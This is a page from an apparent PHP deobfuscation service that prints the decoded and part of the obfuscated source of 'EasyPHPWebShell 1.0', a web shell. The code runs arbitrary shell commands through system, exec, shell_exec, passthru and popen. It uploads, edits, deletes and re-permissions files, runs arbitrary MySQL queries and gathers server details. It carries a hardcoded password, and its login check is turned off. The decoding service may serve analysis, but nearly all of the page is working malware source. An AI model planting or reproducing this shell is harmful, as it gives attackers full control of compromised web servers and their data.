Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto hpewm; vqT0O: ?> &editfile=<?php goto GhWJn; ckDnT: $my_password = "\x35\x30\..
Decoded Output download
<?php
goto hpewm; vqT0O: ?>
&editfile=<?php goto GhWJn; ckDnT: $my_password = "5065338"; goto EhLI9; Ncp6n: if ($action == "dir") { ?>
</td>
</tr>
<tr>
<form method="post" action="?action=dir&dir=<?php echo urlencode($dir); ?>
" enctype="multipart/form-data">
<td bgcolor="#EEEEEE"> :
<input name="gotodir" type="text" class="style1" value="<?php echo $dir; ?>
" size="60">
<input name="gotodirb" type="submit" class="style1" value=""><?php if ($dir[1] == ":") { echo "<a href="?action=dir&dir=" . urlencode($dir) . "&unabspath=1"><b></b></a> "; } else { echo "<a href="?action=dir&dir=" . urlencode($dir) . "&abspath=1"><b></b></a> "; } ?>
</td>
</form>
</tr>
<tr>
<form method="post" action="?action=fileup&dir=<?php echo urlencode($dir); ?>
" enctype="multipart/form-data">
<td bgcolor="#EEEEEE"> ():
<input name="filedir" type="text" class="style1" value="<?php echo $dir; ?>
" size="30"> :
<input name="userfile" type="file" class="style1" size="30">
<input name="userfileb" type="submit" class="style1" value="">
</td>
</form>
</tr>
<tr>
<form method="post" action="?action=filecreate&dir=<?php echo urlencode($dir); ?>
" enctype="multipart/form-data">
<td bgcolor="#EEEEEE"> ():
<input name="mkname" type="text" value="" size=30 class="style1">
<input name="mkfileb" type="submit" value="" class="style1">
<input name="mkdirb" type="submit" value="" class="style1"> :<b><?php $write = ""; if (is_dir($dir)) { if ($fp = @fopen("{$dir}/temp.tmp", "w")) { @fclose($fp); @unlink("{$dir}/temp.tmp"); $write = ""; } } echo "{$write}</b>"; ?>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr bgcolor="#000000" class="stylebtext3">
<td width="25%"></td>
<td width="40%">|</td>
<td width="10%">(KB)</td>
<td width="8%"></td>
<td width="17%"></td>
</tr>
<?php $filesum = 0; $dirsum = 0; $color = "#EEEEEE"; $dirs = @opendir($dir); while ($lop_fname = @readdir($dirs)) { if (@is_dir("{$dir}/{$lop_fname}")) { $lop_fsize = "-"; $lop_fcdata = "-"; $lop_fmdata = "-"; $lop_foper = "-"; $lop_ftype = "-"; if ($lop_fname == "..") { if ($dir == ".") { continue; } $dirb = @dirname($dir); if ($dir[1] == ":") { $dirb = gettruepath($dirb); if (strlen($dirb) <= 3) { $dirb = substr($dirb, 0, 2); } } $bp = " "; $lop_fname = ""; } else { if ($lop_fname == ".") { if ($dir == ".") { continue; } $dir[1] == ":" ? $dirb = substr(gettruepath($dirb), 0, 2) : ($dirb = $lop_fname); $bp = " "; $lop_fname = ""; } else { $lop_fsize = "[DIR]"; $dirb = "{$dir}/{$lop_fname}"; $lop_fcdata = @date("Y-n-d H:i:s", @filectime("{$dirb}")); $lop_fmdata = @date("Y-n-d H:i:s", @filemtime("{$dirb}")); $lop_ftype = substr(@base_convert(@fileperms($dirb), 10, 8), -4); $bp = " "; $title = "[{$lop_fname}]"; $lop_foper = "[<a href="" title="" onClick="rusuredel('{$dirb}','?action=filedel&dir={$dir}&deldir=');return false;"></a>|" . "<a href="" title="" onClick="rusurechk('{$dirb}','?action=filerename&dir={$dir}&renamef={$dirb}&renamet=');return false;"></a>|" . "<a href="" title="" onClick="rusurechk('{$dirb}','?action=filecopy&dir={$dir}©dirf={$dirb}©dirt=');return false;"></a>|" . "<a href="" title="" onClick="rusurechk('{$lop_ftype}','?action=filetype&dir={$dir}&ctype=');return false;"></a>]"; $dirsum++; } } $color = ch_color($color); echo "<tr bgcolor="{$color}">" . "<td width="25%">{$bp} [<a href="?action=dir&dir={$dirb}" title = "">{$lop_fname}</a>]</td>" . "<td width="40%">[{$lop_fcdata}|{$lop_fmdata}]</td>" . "<td width="10%">{$lop_fsize}</td>" . "<td width="8%">{$lop_ftype}</td>" . "<td width="17%">{$lop_foper}</td>" . "</tr>"; } } @closedir($dirs); $dirs = @opendir($dir); while ($lop_fname = @readdir($dirs)) { if (!@is_dir("{$dir}/{$lop_fname}") && $lop_fname != "..") { $lop_ftype = substr(@base_convert(@fileperms("{$dir}/{$lop_fname}"), 10, 8), -4); $lop_foper = "[<a href="" title="" onClick="rusuredel('{$dir}/{$lop_fname}','?action=filedel&dir={$dir}&delfile=');return false;"></a>|" . "<a href="" title="" onClick="rusurechk('{$dir}/{$lop_fname}','?action=filerename&dir={$dir}&renamef={$dir}/{$lop_fname}&renamet=');return false;"></a>|" . "<a href="" title="" onClick="rusurechk('{$dir}/{$lop_fname}','?action=filecopy&dir={$dir}©filef={$dir}/{$lop_fname}©filet=');return false;"></a>|" . "<a href="" title="" onClick="rusurechk('{$lop_ftype}','?action=filetype&dir={$dir}&cfile={$dir}/{$lop_fname}&ctype=');return false;"></a>|" . "<a href="?action=dir&df_path={$dir}/{$lop_fname}" title=""></a>|" . "<a href="?action=editfile&dir={$dir}&editfile={$dir}/{$lop_fname}" title=""></a>]"; $color = ch_color($color); echo "<tr bgcolor="{$color}">" . "<td width="25%"> <a href="{$dir}/{$lop_fname}" title = "" target="_blank">{$lop_fname}</a></td>" . "<td width="40%">[" . @date("Y-n-d H:i:s", @filectime("{$dir}/{$lop_fname}")) . "|" . @date("Y-n-d H:i:s", @filemtime("{$dir}/{$lop_fname}")) . "]</td>" . "<td width="10%">" . @number_format(@filesize("{$dir}/{$lop_fname}") / 1024, 3) . "</td>" . "<td width="8%">" . $lop_ftype . "</td>" . "<td width="17%">{$lop_foper}</td>" . "</tr>"; $filesum++; } } @closedir($dirs); ?>
<tr bgcolor="#000000" class="stylebtext3" align="center">
<td width="25%" colspan="5">:<?php echo $dirsum; ?>
,:<?php echo $filesum; ?>
</td>
</tr>
</table>
<?php } else { if ($action == "editfile") { ?>
()
</td>
</tr>
<tr>
<form method="post" action="?action=filesave&dir=<?php echo urlencode($dir); ?>
" enctype="multipart/form-data">
<td align="center" valign="top" bgcolor="#EEEEEE">:
<input name="editfilename" type="text" class="style1" value="<?php echo $editfile; ?>
" size="30">
<input name="editbackfile" type="checkbox" value="1" class="style1">(.bak)<br>
<textarea name="editfiletext" cols="120" rows="25" class="style1"><?php $fd = @fopen($editfile, "rb"); $fd == false ? $readfbuff = "()." : ($readfbuff = @fread($fd, filesize($editfile))); @fclose($fd); $readfbuff = htmlspecialchars($readfbuff); echo "{$readfbuff}"; ?>
</textarea><p>
<input name="editfileb" type="submit" value="" class="style1">
<input name="editagainb" type="reset" value="" class="style1">
<a href="?action=dir&dir=<?php echo urlencode($dir); ?>
"></a>
<p>
</td>
</form>
</tr>
</table>
<?php } else { if ("sql" == substr($action, 0, 3)) { ?>
</td>
</tr>
<tr>
<form method="post" action="?action=sql" enctype="multipart/form-data">
<td align="center" valign="top" bgcolor="#EEEEEE">
:<input name="sqlhost" type="text" class="style1" value="<?php echo isset($sqlhost) ? $sqlhost : "localhost"; ?>
" size="20">
:<input name="sqlport" type="text" class="style1" value="<?php echo isset($sqlport) ? $sqlport : "3306"; ?>
" size="5">
:<input name="sqluser" type="text" class="style1" value="<?php echo isset($sqluser) ? $sqluser : "root"; ?>
" size="10">
:<input name="sqlpasd" type="text" class="style1" value="<?php echo isset($sqlpasd) ? $sqlpasd : ''; ?>
" size="10">
:<input name="sqldb" type="text" class="style1" value="<?php echo isset($sqldb) ? $sqldb : ''; ?>
" size="10"><br>
<textarea name="sqlcmdtext" cols="120" rows="10" class="style1"><?php if (!empty($sqlcmdtext)) { @mysql_connect("{$sqlhost}:{$sqlport}", "{$sqluser}", "{$sqlpasd}") or die(""); @mysql_select_db("{$sqldb}") or die(""); $res = @mysql_query("{$sqlcmdtext}"); echo $sqlcmdtext; mysql_close(); } ?>
</textarea><p>
<span class="stylebtext2"><?php echo isset($sqlcmdb) ? $res ? "." : ":" . mysql_error() : ''; ?>
</span><p>
<input name="sqlcmdb" type="submit" value="" class="style1">
<input name="sqlagainb" type="reset" value="" class="style1">
<p>
</td>
</form>
</tr>
</table>
<?php } else { if ("shell" == substr($action, 0, 5)) { ?>
Shell
</td>
</tr>
<tr>
<form method="post" action="?action=shell" enctype="multipart/form-data">
<td align="center" valign="top" bgcolor="#EEEEEE">
:<select name="seletefunc" class="input">
<option value="system" <?php echo $seletefunc == "system" ? "selected" : ''; ?>
>system</option>
<option value="exec" <?php echo $seletefunc == "exec" ? "selected" : ''; ?>
>exec</option>
<option value="shell_exec" <?php echo $seletefunc == "shell_exec" ? "selected" : ''; ?>
>shell_exec</option>
<option value="passthru" <?php echo $seletefunc == "passthru" ? "selected" : ''; ?>
>passthru</option>
<option value="popen" <?php echo $seletefunc == "popen" ? "selected" : ''; ?>
>popen</option>
</select>
:<input name="shellcmd" type="text" class="style1" value="<?php echo isset($shellcmd) ? $shellcmd : ''; ?>
" size="80">
<textarea name="shelltext" cols="120" rows="10" class="style1"><?php if (!empty($shellcmd)) { if ($seletefunc == "popen") { $pp = popen($shellcmd, "r"); echo fread($pp, 2096); pclose($pp); } else { echo $out = "system" == $seletefunc ? system($shellcmd) : ($seletefunc == "exec" ? exec($shellcmd) : ($seletefunc == "shell_exec" ? shell_exec($shellcmd) : ($seletefunc == "passthru" ? passthru($shellcmd) : system($shellcmd)))); } } ?>
</textarea><p>
<span class="stylebtext2"><?php echo get_cfg_var("safe_mode") ? ":" : ''; ?>
</span><p>
<input name="shellcmdb" type="submit" value="" class="style1">
<input name="shellagainb" type="reset" value="" class="style1">
<p>
</td>
</form>
</tr>
</table>
<?php } else { if ($action == "phpinfo") { ?>
PHP
</td>
</tr>
<tr>
<td align="center" bgcolor="#EEEEEE" class="stylebtext2"><br><?php phpinfo(); if (eregi("phpinfo", get_cfg_var("disable_functions"))) { echo "<b>phpinfo</b><br>"; } ?>
<br>
</td>
</tr>
</table>
<?php } else { if ("file" == substr($action, 0, 4)) { ?>
</td>
</tr>
<tr>
<td align="center" bgcolor="#EEEEEE" class="stylebtext2">
<br>
<?php if ($action == "filesave") { if (isset($editfileb) && isset($editfilename)) { if (isset($editbackfile) && $editbackfile == 1) { echo $out = @copy($editfilename, $editfilename . ".bak") ? ".<p>" : "<p>"; } $fd = @fopen($editfilename, "w"); if ($fd == false) { echo "[{$editfilename}]."; } else { echo $out = @fwrite($fd, $editfiletext) ? "[{$editfilename}]!" : "[{$editfilename}]"; @fclose($fd); } } } else { if ($action == "filedel") { if (isset($deldir)) { echo $out = file_exists($deldir) ? deltree($deldir) ? "[{$deldir}]!" : "[{$deldir}]!" : "[{$deldir}]!!"; } else { if (isset($delfile)) { @chmod("{$delfile}", 511); echo $out = file_exists($delfile) ? @unlink($delfile) ? "[{$delfile}]!" : "[{$delfile}]!" : "[{$delfile}]!"; } } } else { if ($action == "filerename") { echo $out = file_exists($renamef) ? @rename($renamef, $renamet) ? "[{$renamef}][{$renamet}]" : "[{$renamef}][{$renamet}]" : "[{$renamef}]!"; } else { if ($action == "filecopy") { if (isset($copydirf) && isset($copydirt)) { echo $out = file_exists($copydirf) ? truepath($copydirt) ? copydir($copydirf, $copydirt) ? "[{$copydirf}][{$copydirt}]" : "[{$copydirf}][{$copydirt}]" : "[{$copydirt}]" : "[{$copydirf}]!"; } else { if (isset($copyfilef) && isset($copyfilet)) { echo $out = file_exists($copyfilef) ? truepath(dirname($copyfilet)) ? @copy($copyfilef, $copyfilet) ? "[{$copyfilef}][{$copyfilet}]" : "[{$copyfilef}][{$copyfilet}]" : "" : "[{$copyfilef}]!"; } } } else { if ($action == "filecreate") { if (isset($mkdirb)) { echo $out = file_exists("{$dir}/{$mkname}") ? "[{$dir}/{$mkname}]" : (@mkdir("{$dir}/{$mkname}", 511) ? "[{$mkname}]" : "[{$mkname}]"); } else { if (isset($mkfileb)) { if (file_exists("{$dir}/{$mkname}")) { echo "[{$dir}/{$mkname}]"; } else { $fd = @fopen("{$dir}/{$mkname}", "w"); if ($fd == false) { echo "[{$mkname}]."; } else { echo "[{$mkname}] <a href="?action=editfile&dir=" . urlencode($dir) . "&editfile=" . urlencode($dir) . "/" . urlencode($mkname) . ""><p></a>"; @fclose($fd); } } } } } else { if ($action == "filetype") { echo $out = @chmod($cfile, base_convert($ctype, 8, 10)) ? "!" : "!"; } else { if ($action == "fileup") { echo $out = @copy($userfile["tmp_name"], "{$filedir}/{$userfile["name"]}") ? "[{$userfile["name"]}].:[{$filedir}/{$userfile["name"]}]({$userfile["size"]})." : "[{$userfile["name"]}]"; } else { echo "action."; } } } } } } } ?>
<p>
<a href="?action=dir&dir=<?php echo urlencode($dir); ?>
"></a>
<p>
</td>
</tr>
</table>
<?php } else { if ($action == "env") { ?>
<?php echo $rny; ?>
<?php echo $rnn; ?>
<br>
</td>
</tr>
<?php $sinfo[0] = array(":", $_SERVER["SERVER_NAME"]); $sinfo[1] = array("IP:", gethostbyname($_SERVER["SERVER_NAME"])); $sinfo[2] = array(":", $_SERVER["SERVER_PORT"]); $sinfo[3] = array(":", date("Y/m/d_h:i:s", time())); $sinfo[4] = array(":", PHP_OS); $sinfo[5] = array("WEB", $_SERVER["SERVER_SOFTWARE"]); $sinfo[6] = array("PHP:", PHP_VERSION); $sinfo[7] = array(":", intval(diskfreespace(".") / (1024 * 1024) . "MB")); $sinfo[8] = array("", $_SERVER["HTTP_ACCEPT_LANGUAGE"]); $sinfo[9] = array("", get_current_user()); $sinfo[10] = array(":", my_func("memory_limit", 1)); $sinfo[11] = array("", my_func("upload_max_filesize", 1)); $sinfo[12] = array("POST", my_func("post_max_size", 1)); $sinfo[13] = array("", my_func("max_execution_time", 1)); $sinfo[14] = array("", my_func("disable_functions", 1)); $ssql[0] = array("MYSQL", my_func("mysql_close", 2)); $ssql[1] = array("Oracle", my_func("ora_close", 2)); $ssql[2] = array("Oracle 8", my_func("OCILogOff", 2)); $ssql[3] = array("OBDC", my_func("odbc_close", 2)); $ssql[4] = array("SyBase", my_func("sybase_close", 2)); $ssql[5] = array("SQL_Server", my_func("mssql_close", 2)); $ssql[6] = array("DBase", my_func("dbase_close", 2)); $ssql[7] = array("Hyperwave", my_func("hw_close", 2)); $ssql[8] = array("Postgre_SQL", my_func("pg_close", 2)); $sobj[0] = array("Session", my_func("session_start", 2)); $sobj[1] = array("Socket", my_func("fsockopen", 2)); $sobj[2] = array("(Zlib)", my_func("gzclose", 2)); $sobj[3] = array("SMTP", my_func("smtp", 2)); $sobj[4] = array("XML", my_func("XML Support", 3)); $sobj[5] = array("FTP", my_func("FTP support", 3)); $sobj[6] = array("Sendmail", my_func("Internal Sendmail Support for Windows 4", 3)); $sobj[7] = array("SNMP", my_func("snmpget", 2)); $sobj[8] = array("PDF", my_func("pdf_close", 2)); $sobj[9] = array("IMAP", my_func("imap_close", 2)); $sobj[10] = array("GD Library", my_func("imageline", 2)); $sobj[11] = array("ZEND", my_func("zend_version", 2) . "(" . zend_version() . ")"); $sobj[12] = array("URL", my_func("allow_url_fopen", 2)); $sobj[13] = array("PREL PCRE", my_func("preg_match", 2)); $sobj[14] = array("", my_func("display_errors", 2)); $sobj[15] = array("", my_func("register_globals", 2)); $sobj[16] = array("PHP", strtoupper(php_sapi_name())); ?>
<tr>
<td align="center" bgcolor="#EEEEEE">
<table width="600" border="0" cellpadding="0" cellspacing="0"><br>
<tr><td align="center" bgcolor="#000000" class="stylebtext3" colspan="2"></td></tr>
<?php for ($i = 0; $i < 15; $i++) { $color = ch_color($color); echo "<tr bgcolor="{$color}"><td>{$sinfo[$i][0]}</td><td>{$sinfo[$i][1]}</td></tr>"; } ?>
<tr><td align="center" bgcolor="#000000" class="stylebtext3" colspan="2"></td></tr>
<?php for ($i = 0; $i < 9; $i++) { $color = ch_color($color); echo "<tr bgcolor="{$color}"><td>{$ssql[$i][0]}</td><td>{$ssql[$i][1]}</td></tr>"; } ?>
<tr><td align="center" bgcolor="#000000" class="stylebtext3" colspan="2"></td></tr>
<?php for ($i = 0; $i < 17; $i++) { $color = ch_color($color); echo "<tr bgcolor="{$color}"><td>{$sobj[$i][0]}</td><td>{$sobj[$i][1]}</td></tr>"; } ?>
<tr><td align="center" bgcolor="#000000" class="stylebtext3" colspan="2">PHP(",")</td></tr>
<tr bgcolor="#EEEEEE">
<form method="post" action="?action=env" enctype="multipart/form-data">
<td colspan="2">ProgIdClassId:
<input name="envname" type="text" size="50" class="style1" value=<?php echo isset($envname) ? $envname : ''; ?>
>
<input name="envnameb" type="submit" value="" class="style1">
</td>
</form>
</tr>
<?php if (isset($envname) && !empty($envname)) { $envname = explode(",", $envname); $i = 0; while ($envname[$i]) { echo "<tr bgcolor="#CCCCCC"><td colspan="2">[{$envname[$i]}]:</td></tr>"; echo "<tr bgcolor="#EEEEEE"><td>Get_cfg_var</td><td>" . my_func($envname[$i], 1) . "</td></tr>"; echo "<tr bgcolor="#EEEEEE"><td>function_exists</td><td>" . my_func($envname[$i], 2) . "</td></tr>"; echo "<tr bgcolor="#EEEEEE"><td>Get_magic_quotes_gpc</td><td>" . my_func($envname[$i], 3) . "</td></tr>"; echo "<tr bgcolor="#EEEEEE"><td>Get_magic_quotes_runtime</td><td>" . my_func($envname[$i], 4) . "</td></tr>"; echo "<tr bgcolor="#EEEEEE"><td>Getenv</td><td>" . my_func($envname[$i], 5) . "</td></tr>"; $i++; } } ?>
</table><br>
</td>
</tr>
</table>
<?php } else { echo "</td></tr><tr><td align="center" bgcolor="#EEEEEE"><br><a href="?action=dir&dir=" . urlencode($dir) . ""></a><p></td></tr></table>"; } } } } } } } goto bqpn2; AWuv7: ?>
/"></a><a href="?action=sql"></a><a href="?action=shell">Shell</a><a href="?action=env"></a><a href="?action=phpinfo">PHP</a><a href="http://www.s8s8.net/forums/index.php?showtopic=15998"></a>
</td>
</tr>
</table>
<br>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="100%" bgcolor="#000000" align="center" class="stylebtext3">
<?php goto Ncp6n; xhqHY: ?>
<SCRIPT LANGUAGE="JavaScript">
function rusuredel(msg,url){
smsg = "()[" + msg + "]?";
if (confirm(smsg)){
url = url + msg;
window.location = url;
}
}
function rusurechk(msg,url){
smsg = "(,)[" + msg + "],(,):";
re = prompt(smsg,msg);
if (re){
url = url + re;
window.location = url;
}
}
</script>
</head>
<body>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td align="center" width="100%" bgcolor="#000000" class="stylebtext3">
EasyPHPWebShell 1.0(S8S8)
</td>
</tr>
<tr>
<td align="center" bgcolor="#EEEEEE">
:<?php goto rbDeN; VY4vG: function echoend() { echo "<br><center>:" . getpageruntime() . " <br>" . "<span class = "stylebtext2">EasyPHPWebShell 1.0(S8S8)</span><br> <b>(<a href="http://www.s8s8.net">http://www.s8s8.net</a>) ZV(<a href="mailto:[email protected]">[email protected]</a>)</b> <br>" . "Copyright (C) 2004 www.s8s8.net All Rights Reserved.</center>"; } goto F2Ulm; EITZi: if (get_magic_quotes_gpc()) { $_GET = array_stripslashes($_GET); $_POST = array_stripslashes($_POST); } goto j_NHY; wJMUz: function my_func($getname, $tp) { global $rny, $rnn; $out = $tp == 1 ? @get_cfg_var($getname) : ($tp == 2 ? @function_exists($getname) : ($tp == 3 ? @get_magic_quotes_gpc($getname) : ($tp == 4 ? @get_magic_quotes_runtime($getname) : ($tp == 5 ? @Getenv($getname) : "error!")))); return $out == 1 ? $rny : ($out == 0 ? $rnn : $out); } goto hsQxv; bqpn2: echoend(); goto qhFrx; w3Sdb: function array_stripslashes(&$array) { while (list($key, $var) = each($array)) { if ((strtoupper($key) != $key || '' . intval($key) == "{$key}") && $key != "argc" && $key != "argv") { if (is_string($var)) { $array[$key] = stripslashes($var); } if (is_array($var)) { $array[$key] = array_stripslashes($var); } } } return $array; } goto d1doq; aT_wk: echo "<a href="{$HTTP_SERVER_VARS["PHP_SELF"]}">{$stmp}</a>"; goto NRSk3; qhFrx: @ob_end_flush(); goto Y01CL; hsQxv: function ch_color($c) { return $c == "#CCCCCC" ? "#EEEEEE" : "#CCCCCC"; } goto lNa5o; V1940: echo urlencode($dir); goto vqT0O; P11jL: $pagestarttime = microtime(); goto EITZi; FNjcR: if (!@get_cfg_var("register_globals")) { foreach ($_GET as $key => $val) { ${$key} = $val; } foreach ($_POST as $key => $val) { ${$key} = $val; } foreach ($_FILES as $key => $val) { ${$key} = $val; } } goto wQPsw; Rw7Po: $rnn = "<font color=red><b></b></font>"; goto xhqHY; ZZUWU: @ob_start(); goto P11jL; tYf0I: if (!isset($action)) { $action = "dir"; $dir = "."; } goto ORjO3; NRSk3: ?>
<a href="?action=logout"></a>
</td>
</tr>
<tr>
<td align="center" bgcolor="#EEEEEE"><a href="?action=dir&dir=."></a><a href="?action=editfile&dir=<?php goto V1940; rbDeN: $stmp = str_replace("\", "/", __FILE__); goto aT_wk; m2q3E: $rny = "<font color=green><b></b></font>"; goto Rw7Po; pgTCu: if ($chkpassword == 1) { @session_start(); if ($_GET["action"] == "logout") { @session_unregister("smy_password"); @session_destroy(); @setcookie("cmy_password", ''); echo "<script>function redirect(){window.location.replace("{$_SERVER["PHP_SELF"]}");}redirect();</script>"; } if ($_GET["action"] == "login") { if ($my_password == $_POST["pmy_password"]) { @session_register("smy_password"); $_SESSION["smy_password"] = $my_password; @setcookie("cmy_password", $my_password, time() + 3600 * $cookit_time); echo "<script>function redirect(){window.location.replace("{$_SERVER["PHP_SELF"]}");}redirect();</script>"; } } if (@session_is_registered("smy_password") || isset($_COOKIE["cmy_password"])) { if ($_SESSION["smy_password"] != $my_password && (!isset($_COOKIE["cmy_password"]) || $_COOKIE["cmy_password"] != $my_password)) { getloginpass(); } } else { getloginpass(); } } goto FNjcR; hpewm: ?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>EasyPHPWebShell(S8S8)</title>
<style type="text/css">
<!--
body,td,th, h1, h2 {
font-size: 12px;
font-family: sans-serif;
}
body {background-color: #F8F8F8;}
.style1 {
font-size: 12px;
font-family: verdana, helvetica, sans-serif, ;
vertical-align: middle;
border: 1px solid #000000;
}
.stylebtext2 {color: #990000;font-weight: bold;}
.stylebtext3 {color: #FFFFFF;font-weight: bold;}
a:link,a:visited,a:active {color:#336699; text-decoration: underline;}
a:hover {COLOR: #990000;text-decoration: none;}
table {border-collapse: collapse;}
td, th { border: 1px solid #000000;}
-->
</style>
<?php goto iYcpK; w7Ytj: function copydir($dirf, $dirt) { $mydir = @opendir($dirf); while ($file = @readdir($mydir)) { if (is_dir("{$dirf}/{$file}") && $file != "." && $file != "..") { if (!file_exists("{$dirt}/{$file}")) { if (!@mkdir("{$dirt}/{$file}")) { return false; } } if (!copydir("{$dirf}/{$file}", "{$dirt}/{$file}")) { return false; } } else { if (!is_dir("{$dirf}/{$file}")) { if (!@copy("{$dirf}/{$file}", "{$dirt}/{$file}")) { return false; } } } } return true; } goto MVk2j; wQPsw: if (isset($df_path)) { if (!file_exists($df_path)) { $errordownload = ""; } else { $df_name = basename($df_path); $df_fhd = fopen($df_path, "rb"); if ($df_fhd == false) { $errordownload = ""; } else { Header("Content-type: application/octet-stream"); Header("Accept-Ranges: bytes"); Header("Accept-Length: " . filesize($df_path)); Header("Content-Disposition: attachment; filename=" . $df_name); echo fread($df_fhd, filesize($df_path)); fclose($df_fhd); die; } } } goto aqiMZ; MVk2j: function truepath($path) { if (file_exists($path)) { return true; } else { if (truepath(@dirname($path))) { if (@mkdir($path)) { return true; } else { return false; } } else { return false; } } } goto wPcr6; ikHOe: @error_reporting(E_ERROR | E_WARNING | E_PARSE); goto ZZUWU; lNa5o: function getloginpass() { ?>
<br><br><br><br><br><br><br>
<table align="center" width="300" border="0" cellpadding="0" cellspacing="0">
<tr>
<td align="center" bgcolor="#000000" class="stylebtext3">
,
</td>
</tr>
<tr>
<form method="post" action="?action=login" enctype="multipart/form-data">
<td align="center" class="style1"><br>
<input name="pmy_password" type="password" size="30" class="style1"><p>
<input name="pmy_passwordb" type="submit" value=" " class="style1"><p>
</td>
</tr>
</table>
<?php die; } goto Wx5eZ; j_NHY: $chkpassword = 0; goto ckDnT; Y01CL: ?>
<?php goto w3Sdb; ORjO3: if (!isset($dir)) { $dir = "."; } goto FMhYx; X1bpO: ?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>EasyPHPWebShell(S8S8)</title>
<style type="text/css">
<!--
body,td,th, h1, h2 {
font-size: 12px;
font-family: sans-serif;
}
body {background-color: #F8F8F8;}
.style1 {
font-size: 12px;
font-family: verdana, helvetica, sans-serif, ;
vertical-align: middle;
border: 1px solid #000000;
}
.stylebtext2 {color: #990000;font-weight: bold;}
.stylebtext3 {color: #FFFFFF;font-weight: bold;}
a:link,a:visited,a:active {color:#336699; text-decoration: underline;}
a:hover {COLOR: #990000;text-decoration: none;}
table {border-collapse: collapse;}
td, th { border: 1px solid #000000;}
-->
</style>
<?php goto pgTCu; iYcpK: @set_time_limit(0); goto ikHOe; FMhYx: $rootdir = str_replace("\", "/", $_SERVER["DOCUMENT_ROOT"]); goto w0tF4; F2Ulm: function gettruepath($path) { return str_replace("\", "/", @realpath($path)); } goto wJMUz; GhWJn: echo urlencode($dir); goto AWuv7; EhLI9: $cookit_time = 24; goto X1bpO; d1doq: function deltree($TagDir) { $mydir = @opendir($TagDir); while ($file = @readdir($mydir)) { if (is_dir("{$TagDir}/{$file}") && $file != "." && $file != "..") { if (!deltree("{$TagDir}/{$file}")) { return false; } } else { if (!is_dir("{$TagDir}/{$file}")) { @chmod("{$TagDir}/{$file}", 511); if (!@unlink("{$TagDir}/{$file}")) { return false; } } } } @closedir($mydir); @chmod("{$TagDir}", 511); if (!@rmdir($TagDir)) { return false; } return true; } goto w7Ytj; aqiMZ: if (isset($gotodir)) { if ($gotodir != '') { $dir = $gotodir; } } goto tYf0I; wPcr6: function getpageruntime() { global $pagestarttime; $pagestarttime = explode(" ", $pagestarttime); $pageendtime = explode(" ", @microtime()); return $pageendtime[0] - $pagestarttime[0] + $pageendtime[1] - $pagestarttime[1]; } goto VY4vG; w0tF4: if (isset($abspath)) { $dir = gettruepath($dir); } else { if (isset($unabspath)) { $dir = gettruepath($dir); if (strstr($dir, $rootdir)) { $dir = str_replace("{$rootdir}", ".", $dir); } else { $dir = "."; } } } goto m2q3E; Wx5eZ: ?>Did this file decode correctly?
Original Code
<?php
goto hpewm; vqT0O: ?>
&editfile=<?php goto GhWJn; ckDnT: $my_password = "\x35\x30\66\65\x33\x33\x38"; goto EhLI9; Ncp6n: if ($action == "\x64\x69\162") { ?>
</td>
</tr>
<tr>
<form method="post" action="?action=dir&dir=<?php echo urlencode($dir); ?>
" enctype="multipart/form-data">
<td bgcolor="#EEEEEE"> :
<input name="gotodir" type="text" class="style1" value="<?php echo $dir; ?>
" size="60">
<input name="gotodirb" type="submit" class="style1" value=""><?php if ($dir[1] == "\x3a") { echo "\xe3\x80\x90\74\x61\x20\x68\162\145\146\75\x22\x3f\141\x63\x74\151\x6f\x6e\x3d\x64\151\x72\46\144\x69\x72\x3d" . urlencode($dir) . "\46\165\x6e\x61\x62\x73\x70\x61\x74\150\75\x31\42\x3e\347\202\xb9\346\255\xa4\xe7\224\250\x3c\x62\76\xe7\x9b\270\xe5\xaf\xb9\x3c\57\x62\x3e\xe8\xb7\xaf\345\xbe\204\346\x9f\245\347\234\213\74\x2f\141\76\xe3\x80\221\x26\156\x62\x73\160\x3b"; } else { echo "\xe3\x80\220\x3c\x61\x20\150\x72\x65\146\75\42\77\141\x63\x74\151\157\x6e\x3d\144\151\x72\x26\144\151\162\75" . urlencode($dir) . "\46\141\x62\163\160\141\x74\x68\75\x31\x22\76\347\x82\xb9\346\255\xa4\347\224\250\74\x62\76\xe7\273\x9d\345\xaf\xb9\x3c\x2f\142\76\350\xb7\257\345\xbe\204\346\x9f\xa5\xe7\234\x8b\x3c\x2f\x61\76\xe3\200\221\x26\x6e\142\x73\x70\73"; } ?>
</td>
</form>
</tr>
<tr>
<form method="post" action="?action=fileup&dir=<?php echo urlencode($dir); ?>
" enctype="multipart/form-data">
<td bgcolor="#EEEEEE"> ():
<input name="filedir" type="text" class="style1" value="<?php echo $dir; ?>
" size="30"> :
<input name="userfile" type="file" class="style1" size="30">
<input name="userfileb" type="submit" class="style1" value="">
</td>
</form>
</tr>
<tr>
<form method="post" action="?action=filecreate&dir=<?php echo urlencode($dir); ?>
" enctype="multipart/form-data">
<td bgcolor="#EEEEEE"> ():
<input name="mkname" type="text" value="" size=30 class="style1">
<input name="mkfileb" type="submit" value="" class="style1">
<input name="mkdirb" type="submit" value="" class="style1"> :<b><?php $write = "\344\xb8\215\xe5\x8f\257\xe5\206\231"; if (is_dir($dir)) { if ($fp = @fopen("{$dir}\x2f\x74\145\155\160\56\x74\155\x70", "\x77")) { @fclose($fp); @unlink("{$dir}\x2f\164\x65\x6d\x70\56\164\x6d\x70"); $write = "\xe5\217\257\345\206\231"; } } echo "{$write}\x3c\57\142\x3e\343\x80\x91"; ?>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr bgcolor="#000000" class="stylebtext3">
<td width="25%"></td>
<td width="40%">|</td>
<td width="10%">(KB)</td>
<td width="8%"></td>
<td width="17%"></td>
</tr>
